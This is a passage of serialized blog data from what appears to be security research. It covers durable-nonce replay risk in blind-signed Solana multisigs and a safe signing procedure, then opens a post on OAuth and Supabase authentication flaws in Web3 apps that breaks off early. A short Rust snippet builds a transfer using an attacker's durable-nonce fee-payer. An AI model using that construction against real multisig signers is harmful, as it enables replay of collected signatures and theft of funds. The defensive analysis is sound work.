last_blockhash",{"type":26,"tag":475,"props":68289,"children":68290},{"style":714},[68291],{"type":32,"value":2383},{"type":26,"tag":475,"props":68293,"children":68294},{"style":2375},[68295],{"type":32,"value":67784},{"type":26,"tag":475,"props":68297,"children":68298},{"style":714},[68299],{"type":32,"value":353},{"type":26,"tag":475,"props":68301,"children":68302},{"style":493},[68303],{"type":32,"value":68304},"last_hash",{"type":26,"tag":475,"props":68306,"children":68307},{"style":499},[68308],{"type":32,"value":3376},{"type":26,"tag":475,"props":68310,"children":68311},{"class":477,"line":539},[68312,68316,68321,68325,68330,68334,68339,68343,68347,68352],{"type":26,"tag":475,"props":68313,"children":68314},{"style":482},[68315],{"type":32,"value":2705},{"type":26,"tag":475,"props":68317,"children":68318},{"style":2375},[68319],{"type":32,"value":68320}," next_durable_nonce",{"type":26,"tag":475,"props":68322,"children":68323},{"style":714},[68324],{"type":32,"value":2383},{"type":26,"tag":475,"props":68326,"children":68327},{"style":505},[68328],{"type":32,"value":68329}," DurableNonce",{"type":26,"tag":475,"props":68331,"children":68332},{"style":714},[68333],{"type":32,"value":3187},{"type":26,"tag":475,"props":68335,"children":68336},{"style":493},[68337],{"type":32,"value":68338},"from_blockhash",{"type":26,"tag":475,"props":68340,"children":68341},{"style":499},[68342],{"type":32,"value":626},{"type":26,"tag":475,"props":68344,"children":68345},{"style":714},[68346],{"type":32,"value":2816},{"type":26,"tag":475,"props":68348,"children":68349},{"style":2375},[68350],{"type":32,"value":68351},"last_blockhash",{"type":26,"tag":475,"props":68353,"children":68354},{"style":499},[68355],{"type":32,"value":3533},{"type":26,"tag":35,"props":68357,"children":68358},{},[68359,68361,68366],{"type":32,"value":68360},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":26,"tag":2615,"props":68362,"children":68363},{},[68364],{"type":32,"value":68365},"can",{"type":32,"value":68367}," be saved and reused.",{"type":26,"tag":27,"props":68369,"children":68371},{"id":68370},"threat-model",[68372],{"type":32,"value":68373},"Threat Model",{"type":26,"tag":35,"props":68375,"children":68376},{},[68377],{"type":32,"value":68378},"Let's consider a simplified form of the original question.",{"type":26,"tag":181,"props":68380,"children":68381},{},[68382,68387,68392],{"type":26,"tag":86,"props":68383,"children":68384},{},[68385],{"type":32,"value":68386},"We have a N/M multisig",{"type":26,"tag":86,"props":68388,"children":68389},{},[68390],{"type":32,"value":68391},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":26,"tag":86,"props":68393,"children":68394},{},[68395],{"type":32,"value":68396},"We can accurately query chain state.",{"type":26,"tag":35,"props":68398,"children":68399},{},[68400],{"type":32,"value":68401},"Can we safely sign transactions?",{"type":26,"tag":35,"props":68403,"children":68404},{},[68405],{"type":32,"value":68406},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":26,"tag":35,"props":68408,"children":68409},{},[68410,68412,68418,68420,68427],{"type":32,"value":68411},"Durable nonces require an onchain account, and it's possible to use a ",{"type":26,"tag":53,"props":68413,"children":68415},{"className":68414},[],[68416],{"type":32,"value":68417},"getProgramAccounts",{"type":32,"value":68419}," call to validate if your signer ",{"type":26,"tag":116,"props":68421,"children":68424},{"href":68422,"rel":68423},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[120],[68425],{"type":32,"value":68426},"has an associated durable nonce",{"type":32,"value":353},{"type":26,"tag":465,"props":68429,"children":68431},{"className":35626,"code":68430,"language":35628,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[68432],{"type":26,"tag":53,"props":68433,"children":68434},{"__ignoreMap":7},[68435,68482,68518,68526,68538,68546,68558,68566,68574,68591,68598,68605,68613,68621,68633,68659,68676,68683,68690,68698,68705],{"type":26,"tag":475,"props":68436,"children":68437},{"class":477,"line":478},[68438,68442,68447,68451,68455,68460,68464,68469,68473,68478],{"type":26,"tag":475,"props":68439,"children":68440},{"style":482},[68441],{"type":32,"value":9363},{"type":26,"tag":475,"props":68443,"children":68444},{"style":2375},[68445],{"type":32,"value":68446}," connection",{"type":26,"tag":475,"props":68448,"children":68449},{"style":714},[68450],{"type":32,"value":2383},{"type":26,"tag":475,"props":68452,"children":68453},{"style":482},[68454],{"type":32,"value":31633},{"type":26,"tag":475,"props":68456,"children":68457},{"style":493},[68458],{"type":32,"value":68459}," Connection",{"type":26,"tag":475,"props":68461,"children":68462},{"style":499},[68463],{"type":32,"value":626},{"type":26,"tag":475,"props":68465,"children":68466},{"style":493},[68467],{"type":32,"value":68468},"clusterApiUrl",{"type":26,"tag":475,"props":68470,"children":68471},{"style":499},[68472],{"type":32,"value":626},{"type":26,"tag":475,"props":68474,"children":68475},{"style":629},[68476],{"type":32,"value":68477},"'testnet'",{"type":26,"tag":475,"props":68479,"children":68480},{"style":499},[68481],{"type":32,"value":6936},{"type":26,"tag":475,"props":68483,"children":68484},{"class":477,"line":516},[68485,68489,68494,68498,68502,68506,68510,68514],{"type":26,"tag":475,"props":68486,"children":68487},{"style":482},[68488],{"type":32,"value":9363},{"type":26,"tag":475,"props":68490,"children":68491},{"style":2375},[68492],{"type":32,"value":68493}," nonceAccounts",{"type":26,"tag":475,"props":68495,"children":68496},{"style":714},[68497],{"type":32,"value":2383},{"type":26,"tag":475,"props":68499,"children":68500},{"style":586},[68501],{"type":32,"value":2388},{"type":26,"tag":475,"props":68503,"children":68504},{"style":2375},[68505],{"type":32,"value":68446},{"type":26,"tag":475,"props":68507,"children":68508},{"style":499},[68509],{"type":32,"value":353},{"type":26,"tag":475,"props":68511,"children":68512},{"style":493},[68513],{"type":32,"value":68417},{"type":26,"tag":475,"props":68515,"children":68516},{"style":499},[68517],{"type":32,"value":3169},{"type":26,"tag":475,"props":68519,"children":68520},{"class":477,"line":539},[68521],{"type":26,"tag":475,"props":68522,"children":68523},{"style":552},[68524],{"type":32,"value":68525}," // The system program owns all nonce accounts.\n",{"type":26,"tag":475,"props":68527,"children":68528},{"class":477,"line":548},[68529,68534],{"type":26,"tag":475,"props":68530,"children":68531},{"style":2375},[68532],{"type":32,"value":68533}," SYSTEM_PROGRAM_ADDRESS",{"type":26,"tag":475,"props":68535,"children":68536},{"style":499},[68537],{"type":32,"value":2425},{"type":26,"tag":475,"props":68539,"children":68540},{"class":477,"line":558},[68541],{"type":26,"tag":475,"props":68542,"children":68543},{"style":499},[68544],{"type":32,"value":68545}," {\n",{"type":26,"tag":475,"props":68547,"children":68548},{"class":477,"line":582},[68549,68554],{"type":26,"tag":475,"props":68550,"children":68551},{"style":2375},[68552],{"type":32,"value":68553}," filters:",{"type":26,"tag":475,"props":68555,"children":68556},{"style":499},[68557],{"type":32,"value":25322},{"type":26,"tag":475,"props":68559,"children":68560},{"class":477,"line":596},[68561],{"type":26,"tag":475,"props":68562,"children":68563},{"style":499},[68564],{"type":32,"value":68565}," {\n",{"type":26,"tag":475,"props":68567,"children":68568},{"class":477,"line":610},[68569],{"type":26,"tag":475,"props":68570,"children":68571},{"style":552},[68572],{"type":32,"value":68573}," // Nonce accounts are exactly 80 bytes long\n",{"type":26,"tag":475,"props":68575,"children":68576},{"class":477,"line":650},[68577,68582,68587],{"type":26,"tag":475,"props":68578,"children":68579},{"style":2375},[68580],{"type":32,"value":68581}," dataSize:",{"type":26,"tag":475,"props":68583,"children":68584},{"style":903},[68585],{"type":32,"value":68586}," 80",{"type":26,"tag":475,"props":68588,"children":68589},{"style":499},[68590],{"type":32,"value":2425},{"type":26,"tag":475,"props":68592,"children":68593},{"class":477,"line":679},[68594],{"type":26,"tag":475,"props":68595,"children":68596},{"style":499},[68597],{"type":32,"value":36893},{"type":26,"tag":475,"props":68599,"children":68600},{"class":477,"line":735},[68601],{"type":26,"tag":475,"props":68602,"children":68603},{"style":499},[68604],{"type":32,"value":68565},{"type":26,"tag":475,"props":68606,"children":68607},{"class":477,"line":744},[68608],{"type":26,"tag":475,"props":68609,"children":68610},{"style":552},[68611],{"type":32,"value":68612}," // The authority's 32-byte public key is written\n",{"type":26,"tag":475,"props":68614,"children":68615},{"class":477,"line":753},[68616],{"type":26,"tag":475,"props":68617,"children":68618},{"style":552},[68619],{"type":32,"value":68620}," // into bytes 8-40 of the nonce's account data.\n",{"type":26,"tag":475,"props":68622,"children":68623},{"class":477,"line":761},[68624,68629],{"type":26,"tag":475,"props":68625,"children":68626},{"style":2375},[68627],{"type":32,"value":68628}," memcmp:",{"type":26,"tag":475,"props":68630,"children":68631},{"style":499},[68632],{"type":32,"value":579},{"type":26,"tag":475,"props":68634,"children":68635},{"class":477,"line":770},[68636,68641,68646,68650,68655],{"type":26,"tag":475,"props":68637,"children":68638},{"style":2375},[68639],{"type":32,"value":68640}," bytes:",{"type":26,"tag":475,"props":68642,"children":68643},{"style":2375},[68644],{"type":32,"value":68645}," AUTHORITY_PUBLIC_KEY",{"type":26,"tag":475,"props":68647,"children":68648},{"style":499},[68649],{"type":32,"value":353},{"type":26,"tag":475,"props":68651,"children":68652},{"style":493},[68653],{"type":32,"value":68654},"toBase58",{"type":26,"tag":475,"props":68656,"children":68657},{"style":499},[68658],{"type":32,"value":3197},{"type":26,"tag":475,"props":68660,"children":68661},{"class":477,"line":794},[68662,68667,68672],{"type":26,"tag":475,"props":68663,"children":68664},{"style":2375},[68665],{"type":32,"value":68666}," offset:",{"type":26,"tag":475,"props":68668,"children":68669},{"style":903},[68670],{"type":32,"value":68671}," 8",{"type":26,"tag":475,"props":68673,"children":68674},{"style":499},[68675],{"type":32,"value":2425},{"type":26,"tag":475,"props":68677,"children":68678},{"class":477,"line":831},[68679],{"type":26,"tag":475,"props":68680,"children":68681},{"style":499},[68682],{"type":32,"value":25074},{"type":26,"tag":475,"props":68684,"children":68685},{"class":477,"line":845},[68686],{"type":26,"tag":475,"props":68687,"children":68688},{"style":499},[68689],{"type":32,"value":36893},{"type":26,"tag":475,"props":68691,"children":68692},{"class":477,"line":854},[68693],{"type":26,"tag":475,"props":68694,"children":68695},{"style":499},[68696],{"type":32,"value":68697}," ],\n",{"type":26,"tag":475,"props":68699,"children":68700},{"class":477,"line":862},[68701],{"type":26,"tag":475,"props":68702,"children":68703},{"style":499},[68704],{"type":32,"value":5585},{"type":26,"tag":475,"props":68706,"children":68707},{"class":477,"line":885},[68708],{"type":26,"tag":475,"props":68709,"children":68710},{"style":499},[68711],{"type":32,"value":3533},{"type":26,"tag":35,"props":68713,"children":68714},{},[68715,68717,68725],{"type":32,"value":68716},"Unfortunately this is not sufficient",{"type":26,"tag":15179,"props":68718,"children":68719},{},[68720],{"type":26,"tag":116,"props":68721,"children":68723},{"href":29326,"ariaDescribedBy":68722,"dataFootnoteRef":7,"id":29328},[15186],[68724],{"type":32,"value":3722},{"type":32,"value":68726},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":26,"tag":465,"props":68728,"children":68730},{"className":2685,"code":68729,"language":2684,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[68731],{"type":26,"tag":53,"props":68732,"children":68733},{"__ignoreMap":7},[68734,68800,68816,68899],{"type":26,"tag":475,"props":68735,"children":68736},{"class":477,"line":478},[68737,68741,68745,68749,68754,68758,68762,68766,68770,68774,68778,68782,68787,68791,68796],{"type":26,"tag":475,"props":68738,"children":68739},{"style":482},[68740],{"type":32,"value":2705},{"type":26,"tag":475,"props":68742,"children":68743},{"style":2375},[68744],{"type":32,"value":43060},{"type":26,"tag":475,"props":68746,"children":68747},{"style":714},[68748],{"type":32,"value":2383},{"type":26,"tag":475,"props":68750,"children":68751},{"style":499},[68752],{"type":32,"value":68753}," system_instruction",{"type":26,"tag":475,"props":68755,"children":68756},{"style":714},[68757],{"type":32,"value":3187},{"type":26,"tag":475,"props":68759,"children":68760},{"style":493},[68761],{"type":32,"value":31823},{"type":26,"tag":475,"props":68763,"children":68764},{"style":499},[68765],{"type":32,"value":626},{"type":26,"tag":475,"props":68767,"children":68768},{"style":714},[68769],{"type":32,"value":2816},{"type":26,"tag":475,"props":68771,"children":68772},{"style":2375},[68773],{"type":32,"value":19182},{"type":26,"tag":475,"props":68775,"children":68776},{"style":499},[68777],{"type":32,"value":637},{"type":26,"tag":475,"props":68779,"children":68780},{"style":714},[68781],{"type":32,"value":2816},{"type":26,"tag":475,"props":68783,"children":68784},{"style":2375},[68785],{"type":32,"value":68786},"ledger_base_pubkey",{"type":26,"tag":475,"props":68788,"children":68789},{"style":499},[68790],{"type":32,"value":637},{"type":26,"tag":475,"props":68792,"children":68793},{"style":903},[68794],{"type":32,"value":68795},"42",{"type":26,"tag":475,"props":68797,"children":68798},{"style":499},[68799],{"type":32,"value":3533},{"type":26,"tag":475,"props":68801,"children":68802},{"class":477,"line":516},[68803,68807,68812],{"type":26,"tag":475,"props":68804,"children":68805},{"style":482},[68806],{"type":32,"value":2705},{"type":26,"tag":475,"props":68808,"children":68809},{"style":2375},[68810],{"type":32,"value":68811}," message",{"type":26,"tag":475,"props":68813,"children":68814},{"style":714},[68815],{"type":32,"value":35551},{"type":26,"tag":475,"props":68817,"children":68818},{"class":477,"line":539},[68819,68824,68828,68833,68837,68841,68845,68849,68853,68857,68861,68865,68870,68874,68878,68883,68887,68891,68895],{"type":26,"tag":475,"props":68820,"children":68821},{"style":505},[68822],{"type":32,"value":68823}," Message",{"type":26,"tag":475,"props":68825,"children":68826},{"style":714},[68827],{"type":32,"value":3187},{"type":26,"tag":475,"props":68829,"children":68830},{"style":493},[68831],{"type":32,"value":68832},"new_with_nonce",{"type":26,"tag":475,"props":68834,"children":68835},{"style":499},[68836],{"type":32,"value":626},{"type":26,"tag":475,"props":68838,"children":68839},{"style":493},[68840],{"type":32,"value":3583},{"type":26,"tag":475,"props":68842,"children":68843},{"style":499},[68844],{"type":32,"value":3440},{"type":26,"tag":475,"props":68846,"children":68847},{"style":2375},[68848],{"type":32,"value":43370},{"type":26,"tag":475,"props":68850,"children":68851},{"style":499},[68852],{"type":32,"value":22769},{"type":26,"tag":475,"props":68854,"children":68855},{"style":505},[68856],{"type":32,"value":41709},{"type":26,"tag":475,"props":68858,"children":68859},{"style":499},[68860],{"type":32,"value":626},{"type":26,"tag":475,"props":68862,"children":68863},{"style":714},[68864],{"type":32,"value":2816},{"type":26,"tag":475,"props":68866,"children":68867},{"style":2375},[68868],{"type":32,"value":68869},"evil_nonce_authority",{"type":26,"tag":475,"props":68871,"children":68872},{"style":499},[68873],{"type":32,"value":14883},{"type":26,"tag":475,"props":68875,"children":68876},{"style":714},[68877],{"type":32,"value":2816},{"type":26,"tag":475,"props":68879,"children":68880},{"style":2375},[68881],{"type":32,"value":68882},"nonce_account",{"type":26,"tag":475,"props":68884,"children":68885},{"style":499},[68886],{"type":32,"value":637},{"type":26,"tag":475,"props":68888,"children":68889},{"style":714},[68890],{"type":32,"value":2816},{"type":26,"tag":475,"props":68892,"children":68893},{"style":2375},[68894],{"type":32,"value":68869},{"type":26,"tag":475,"props":68896,"children":68897},{"style":499},[68898],{"type":32,"value":647},{"type":26,"tag":475,"props":68900,"children":68901},{"class":477,"line":548},[68902,68906,68911],{"type":26,"tag":475,"props":68903,"children":68904},{"style":714},[68905],{"type":32,"value":2875},{"type":26,"tag":475,"props":68907,"children":68908},{"style":493},[68909],{"type":32,"value":68910},"serialize",{"type":26,"tag":475,"props":68912,"children":68913},{"style":499},[68914],{"type":32,"value":3376},{"type":26,"tag":35,"props":68916,"children":68917},{},[68918,68920,68927],{"type":32,"value":68919},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":26,"tag":116,"props":68921,"children":68924},{"href":68922,"rel":68923},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[120],[68925],{"type":32,"value":68926},"logs the fee-payer here",{"type":32,"value":353},{"type":26,"tag":465,"props":68929,"children":68931},{"className":16220,"code":68930,"language":2854,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[68932],{"type":26,"tag":53,"props":68933,"children":68934},{"__ignoreMap":7},[68935,68994,69050],{"type":26,"tag":475,"props":68936,"children":68937},{"class":477,"line":478},[68938,68942,68947,68951,68955,68960,68964,68969,68973,68977,68981,68985,68990],{"type":26,"tag":475,"props":68939,"children":68940},{"style":482},[68941],{"type":32,"value":29388},{"type":26,"tag":475,"props":68943,"children":68944},{"style":493},[68945],{"type":32,"value":68946}," print_config_show_authority",{"type":26,"tag":475,"props":68948,"children":68949},{"style":499},[68950],{"type":32,"value":626},{"type":26,"tag":475,"props":68952,"children":68953},{"style":482},[68954],{"type":32,"value":9363},{"type":26,"tag":475,"props":68956,"children":68957},{"style":499},[68958],{"type":32,"value":68959}," PrintConfig",{"type":26,"tag":475,"props":68961,"children":68962},{"style":714},[68963],{"type":32,"value":4282},{"type":26,"tag":475,"props":68965,"children":68966},{"style":2375},[68967],{"type":32,"value":68968}," print_config",{"type":26,"tag":475,"props":68970,"children":68971},{"style":499},[68972],{"type":32,"value":637},{"type":26,"tag":475,"props":68974,"children":68975},{"style":482},[68976],{"type":32,"value":9363},{"type":26,"tag":475,"props":68978,"children":68979},{"style":499},[68980],{"type":32,"value":20565},{"type":26,"tag":475,"props":68982,"children":68983},{"style":714},[68984],{"type":32,"value":4282},{"type":26,"tag":475,"props":68986,"children":68987},{"style":2375},[68988],{"type":32,"value":68989}," authority",{"type":26,"tag":475,"props":68991,"children":68992},{"style":499},[68993],{"type":32,"value":676},{"type":26,"tag":475,"props":68995,"children":68996},{"class":477,"line":516},[68997,69001,69005,69009,69014,69018,69022,69027,69031,69036,69040,69045],{"type":26,"tag":475,"props":68998,"children":68999},{"style":586},[69000],{"type":32,"value":16695},{"type":26,"tag":475,"props":69002,"children":69003},{"style":2375},[69004],{"type":32,"value":68968},{"type":26,"tag":475,"props":69006,"children":69007},{"style":499},[69008],{"type":32,"value":13464},{"type":26,"tag":475,"props":69010,"children":69011},{"style":2375},[69012],{"type":32,"value":69013},"expert_mode",{"type":26,"tag":475,"props":69015,"children":69016},{"style":714},[69017],{"type":32,"value":23407},{"type":26,"tag":475,"props":69019,"children":69020},{"style":714},[69021],{"type":32,"value":12572},{"type":26,"tag":475,"props":69023,"children":69024},{"style":493},[69025],{"type":32,"value":69026},"pubkeys_equal",{"type":26,"tag":475,"props":69028,"children":69029},{"style":499},[69030],{"type":32,"value":626},{"type":26,"tag":475,"props":69032,"children":69033},{"style":2375},[69034],{"type":32,"value":69035},"print_config",{"type":26,"tag":475,"props":69037,"children":69038},{"style":499},[69039],{"type":32,"value":13464},{"type":26,"tag":475,"props":69041,"children":69042},{"style":2375},[69043],{"type":32,"value":69044},"signer_pubkey",{"type":26,"tag":475,"props":69046,"children":69047},{"style":499},[69048],{"type":32,"value":69049},", authority);\n",{"type":26,"tag":475,"props":69051,"children":69052},{"class":477,"line":539},[69053],{"type":26,"tag":475,"props":69054,"children":69055},{"style":499},[69056],{"type":32,"value":3607},{"type":26,"tag":35,"props":69058,"children":69059},{},[69060],{"type":32,"value":69061},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":26,"tag":35,"props":69063,"children":69064},{},[69065],{"type":32,"value":69066},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":26,"tag":35,"props":69068,"children":69069},{},[69070],{"type":32,"value":69071},"We can then use the following procedure.",{"type":26,"tag":181,"props":69073,"children":69074},{},[69075,69080,69085,69090,69095],{"type":26,"tag":86,"props":69076,"children":69077},{},[69078],{"type":32,"value":69079},"Ensure all signers have no durable nonce accounts.",{"type":26,"tag":86,"props":69081,"children":69082},{},[69083],{"type":32,"value":69084},"The first signer signs and submits the transaction.",{"type":26,"tag":86,"props":69086,"children":69087},{},[69088],{"type":32,"value":69089},"Wait two minutes for all recent blockhashes to expire.",{"type":26,"tag":86,"props":69091,"children":69092},{},[69093],{"type":32,"value":69094},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":26,"tag":86,"props":69096,"children":69097},{},[69098],{"type":32,"value":69099},"Repeat steps 2 to 4 for each signer",{"type":26,"tag":27,"props":69101,"children":69103},{"id":69102},"beyond",[69104],{"type":32,"value":69105},"Beyond",{"type":26,"tag":35,"props":69107,"children":69108},{},[69109],{"type":32,"value":69110},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":26,"tag":35,"props":69112,"children":69113},{},[69114,69116,69123],{"type":32,"value":69115},"For example, pcaversaccio wrote a tool to ",{"type":26,"tag":116,"props":69117,"children":69120},{"href":69118,"rel":69119},"https://github.com/pcaversaccio/safe-tx-hashes-util",[120],[69121],{"type":32,"value":69122},"validate Safe transaction hashes",{"type":32,"value":69124},". As the space matures, we hope more open source tooling will come to light.",{"type":26,"tag":18130,"props":69126,"children":69128},{"className":69127,"dataFootnotes":7},[18133],[69129,69134],{"type":26,"tag":27,"props":69130,"children":69132},{"className":69131,"id":15186},[18138],[69133],{"type":32,"value":18141},{"type":26,"tag":181,"props":69135,"children":69136},{},[69137],{"type":26,"tag":86,"props":69138,"children":69139},{"id":30069},[69140,69142,69150,69152],{"type":32,"value":69141},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":26,"tag":116,"props":69143,"children":69147},{"href":69144,"rel":69145,":style":69146},"https://twitter.com/PierreArowana",[120],"color: #B1D0EE; text-decoration: underline;",[69148],{"type":32,"value":69149},"@PierreArowana",{"type":32,"value":69151}," for pointing this out to me. ",{"type":26,"tag":116,"props":69153,"children":69155},{"href":30097,"ariaLabel":18244,"className":69154,"dataFootnoteBackref":7},[18246],[69156],{"type":32,"value":18249},{"type":26,"tag":2548,"props":69158,"children":69159},{},[69160],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":69162},[69163,69167,69168,69169],{"id":67359,"depth":516,"text":67362,"children":69164},[69165,69166],{"id":67370,"depth":539,"text":67373},{"id":67649,"depth":539,"text":67652},{"id":68370,"depth":516,"text":68373},{"id":69102,"depth":516,"text":69105},{"id":15186,"depth":516,"text":18141},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69174,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69175,"description":69176,"date":69177,"author":69178,"image":69179,"isFeatured":18,"onBlogPage":18,"tags":69181,"body":69182,"_type":2566,"_id":70813,"_source":2568,"_file":70814,"_stem":70815,"_extension":2571},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[12,13],{"src":69180},"/posts/web2-in-web3/title.jpg",[31841],{"type":23,"children":69183,"toc":70795},[69184,69189,69194,69199,69225,69231,69236,69242,69263,69269,69274,69281,69293,69323,69329,69373,69380,69386,69419,69440,69448,69466,69473,69478,69484,69489,69494,69519,69524,69530,69536,69557,69563,69590,69618,69625,69630,69635,69980,69984,70006,70012,70033,70047,70060,70065,70081,70086,70750,70755,70760,70765,70777,70781,70786,70791],{"type":26,"tag":35,"props":69185,"children":69186},{},[69187],{"type":32,"value":69188},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":26,"tag":35,"props":69190,"children":69191},{},[69192],{"type":32,"value":69193},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":26,"tag":35,"props":69195,"children":69196},{},[69197],{"type":32,"value":69198},"In this article, we will discuss three cases we discovered:",{"type":26,"tag":181,"props":69200,"children":69201},{},[69202,69207,69220],{"type":26,"tag":86,"props":69203,"children":69204},{},[69205],{"type":32,"value":69206},"OAuth Logic Vulnerability on an Authentication Provider",{"type":26,"tag":86,"props":69208,"children":69209},{},[69210,69212,69218],{"type":32,"value":69211},"Supabase ",{"type":26,"tag":53,"props":69213,"children":69215},{"className":69214},[],[69216],{"type":32,"value":69217},"user_metadata",{"type":32,"value":69219}," misconfiguration",{"type":26,"tag":86,"props":69221,"children":69222},{},[69223],{"type":32,"value":69224},"OAuth abuse in localhost development environment",{"type":26,"tag":27,"props":69226,"children":69228},{"id":69227},"abusing-oauth-authentication-logic",[69229],{"type":32,"value":69230},"Abusing OAuth Authentication Logic",{"type":26,"tag":35,"props":69232,"children":69233},{},[69234],{"type":32,"value":69235},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":26,"tag":41,"props":69237,"children":69239},{"id":69238},"web3auth-introduction",[69240],{"type":32,"value":69241},"Web3Auth Introduction",{"type":26,"tag":35,"props":69243,"children":69244},{},[69245,69252,69254,69261],{"type":26,"tag":116,"props":69246,"children":69249},{"href":69247,"rel":69248},"https://web3auth.io/",[120],[69250],{"type":32,"value":69251},"Web3Auth",{"type":32,"value":69253}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":26,"tag":116,"props":69255,"children":69258},{"href":69256,"rel":69257},"https://oauth.net/2/",[120],[69259],{"type":32,"value":69260},"OAuth2",{"type":32,"value":69262}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":26,"tag":41,"props":69264,"children":69266},{"id":69265},"web3auth-authentication-flow",[69267],{"type":32,"value":69268},"Web3Auth Authentication flow",{"type":26,"tag":35,"props":69270,"children":69271},{},[69272],{"type":32,"value":69273},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":26,"tag":35,"props":69275,"children":69276},{},[69277],{"type":26,"tag":132,"props":69278,"children":69280},{"alt":134,"src":69279},"/posts/web2-in-web3/auth-flow.png",[],{"type":26,"tag":35,"props":69282,"children":69283},{},[69284,69286,69291],{"type":32,"value":69285},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":26,"tag":53,"props":69287,"children":69289},{"className":69288},[],[69290],{"type":32,"value":207},{"type":32,"value":69292},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":26,"tag":35,"props":69294,"children":69295},{},[69296,69298,69304,69306,69312,69314,69321],{"type":32,"value":69297},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":26,"tag":53,"props":69299,"children":69301},{"className":69300},[],[69302],{"type":32,"value":69303},"/start",{"type":32,"value":69305}," validates the ",{"type":26,"tag":53,"props":69307,"children":69309},{"className":69308},[],[69310],{"type":32,"value":69311},"redirect_url",{"type":32,"value":69313}," against the configured ",{"type":26,"tag":116,"props":69315,"children":69318},{"href":69316,"rel":69317},"https://web3auth.io/docs/dashboard-setup/whitelisting",[120],[69319],{"type":32,"value":69320},"whitelist",{"type":32,"value":69322}," to ensure it matches one of the allowed URLs.",{"type":26,"tag":41,"props":69324,"children":69326},{"id":69325},"in-transit-cryptography",[69327],{"type":32,"value":69328},"In-transit Cryptography",{"type":26,"tag":35,"props":69330,"children":69331},{},[69332,69334,69341,69343,69349,69351,69357,69359,69364,69366,69371],{"type":32,"value":69333},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":26,"tag":116,"props":69335,"children":69338},{"href":69336,"rel":69337},"https://en.wikipedia.org/wiki/Key_(cryptography)",[120],[69339],{"type":32,"value":69340},"cryptographic key",{"type":32,"value":69342}," is derived from the ",{"type":26,"tag":53,"props":69344,"children":69346},{"className":69345},[],[69347],{"type":32,"value":69348},"sessionId",{"type":32,"value":69350}," sent in the ",{"type":26,"tag":53,"props":69352,"children":69354},{"className":69353},[],[69355],{"type":32,"value":69356},"GET",{"type":32,"value":69358}," parameter to the ",{"type":26,"tag":53,"props":69360,"children":69362},{"className":69361},[],[69363],{"type":32,"value":69303},{"type":32,"value":69365},". Since the ",{"type":26,"tag":53,"props":69367,"children":69369},{"className":69368},[],[69370],{"type":32,"value":69348},{"type":32,"value":69372}," can be controlled, it allows us to send and receive data from the session server.",{"type":26,"tag":35,"props":69374,"children":69375},{},[69376],{"type":26,"tag":132,"props":69377,"children":69379},{"alt":134,"src":69378},"/posts/web2-in-web3/image-2.png",[],{"type":26,"tag":41,"props":69381,"children":69383},{"id":69382},"race-condition",[69384],{"type":32,"value":69385},"Race 